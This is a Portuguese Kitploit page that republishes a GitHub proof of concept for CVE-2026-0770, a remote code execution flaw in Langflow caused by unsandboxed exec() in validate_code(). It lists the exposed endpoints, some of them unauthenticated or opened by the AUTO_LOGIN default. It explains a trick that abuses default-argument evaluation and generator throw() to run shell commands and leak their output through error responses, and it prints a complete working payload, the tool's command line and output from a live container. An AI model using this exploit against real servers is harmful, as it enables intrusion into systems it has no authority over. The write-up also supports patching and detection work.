Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0770-PoC — Prova de Conceito para CVE-2026-0770 - Execução Remota de Código no Langflow | Kitploit
Ferramentas/GitHubGitHub/affix/cve-2026-0770-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoCavalo de Troia de Acesso Remoto
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

Prova de Conceito para CVE-2026-0770 - Execução Remota de Código no Langflow

Ver Repositório
61há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0770 - Execução Remota de Código no Langflow

Resumo

O Langflow contém uma vulnerabilidade crítica de execução remota de código na função validate_code() localizada em src/lfx/src/lfx/custom/validate.py. A função usa exec() para executar código Python fornecido pelo usuário sem sandboxing, permitindo execução arbitrária de comandos no servidor.

Versões Afetadas

  • Langflow mais recente (a partir de 7 de fevereiro de 2026)

Outros CVEs

Vulnerabilidades semelhantes foram identificadas em funções e endpoints relacionados:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

Detalhes da Vulnerabilidade

A função analisa o código fornecido pelo usuário e executa definições de funções usando :

validate_code()
exec()
root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- Execução arbitrária de código

O contexto exec_globals inclui acesso a importlib e builtins do Python, permitindo que atacantes importem módulos perigosos (os, subprocess, socket) e executem comandos arbitrários do sistema.

Endpoints Vulneráveis

EndpointAutenticaçãoVetor de Ataque
POST /api/v1/validate/codeObrigatória*Submissão direta de código
POST /api/v1/custom_componentObrigatória*Código na definição do componente
POST /api/v1/custom_component/updateObrigatória*Código na atualização do componente
POST /api/v1/webhook/{flow_id}NenhumaFluxo com componentes de código
POST /api/v1/build_public_tmp/{flow_id}/flowNenhumaExecução de fluxo público

* A autenticação pode ser contornada quando AUTO_LOGIN=true (a configuração padrão)

Outras Funções Vulneráveis

As seguintes funções em validate.py também usam exec() inseguro:

FunçãoLinhaDescrição
validate_code()66Valida código do usuário
eval_function()140Avalia strings de funções
execute_function()182Executa funções arbitrárias
create_function()227Cria funções a partir de código
create_class()241-442Cria classes via prepare_global_scope() e build_class_constructor()

Exploração

O Truque do Gerador com throw()

A função validate_code() apenas executa definições de funções, não chamadas de funções. Para alcançar a execução de código com exfiltração de saída, exploramos a ordem de avaliação do Python para argumentos padrão.

Insight-chave: Expressões de argumentos padrão são avaliadas no momento da definição da função, não quando a função é chamada.

root@kitploit:~
def foo(x=print("Eu executo imediatamente")):
    pass

No entanto, precisamos exfiltrar a saída através da resposta HTTP. O endpoint retorna erros no corpo da resposta, então precisamos lançar uma exceção contendo nossa saída.

Problema: raise é uma declaração, não uma expressão, então não pode ser usado diretamente em um argumento padrão.

Solução: Use o método .throw() de um gerador, que lança uma exceção e É uma expressão:

root@kitploit:~
(_ for _ in ()).throw(Exception("saída aqui"))

Isso cria um gerador vazio e imediatamente lança uma exceção. Combinado com um lambda para capturar a saída do comando:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

Fluxo de execução:

  1. exec() executa a definição da função
  2. O argumento padrão _=... é avaliado imediatamente
  3. subprocess.run() executa o comando
  4. O lambda recebe o resultado e chama o .throw() do gerador
  5. A exceção é lançada com a saída do comando
  6. validate_code() a captura e retorna o erro na resposta

Uso

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

Opções

FlagDescrição
-t, --targetURL do alvo (obrigatório)
-c, --commandComando a executar (padrão: id && whoami)
-k, --tokenToken JWT (opcional, usa auto-login por padrão)

Exemplo de Saída (Do Contêiner Docker langflowai/langflow:latest - 7 de fevereiro de 2026)

root@kitploit:~
[*] Alvo: http://localhost:7860
[*] Tentando auto-login (configuração padrão)...
[+] Auto-login bem-sucedido!
[*] Executando: id && whoami && hostname
[+] Status: 200
[+] Saída:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

Referências

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • Arquivo vulnerável: src/lfx/src/lfx/custom/validate.py
Baixar ferramenta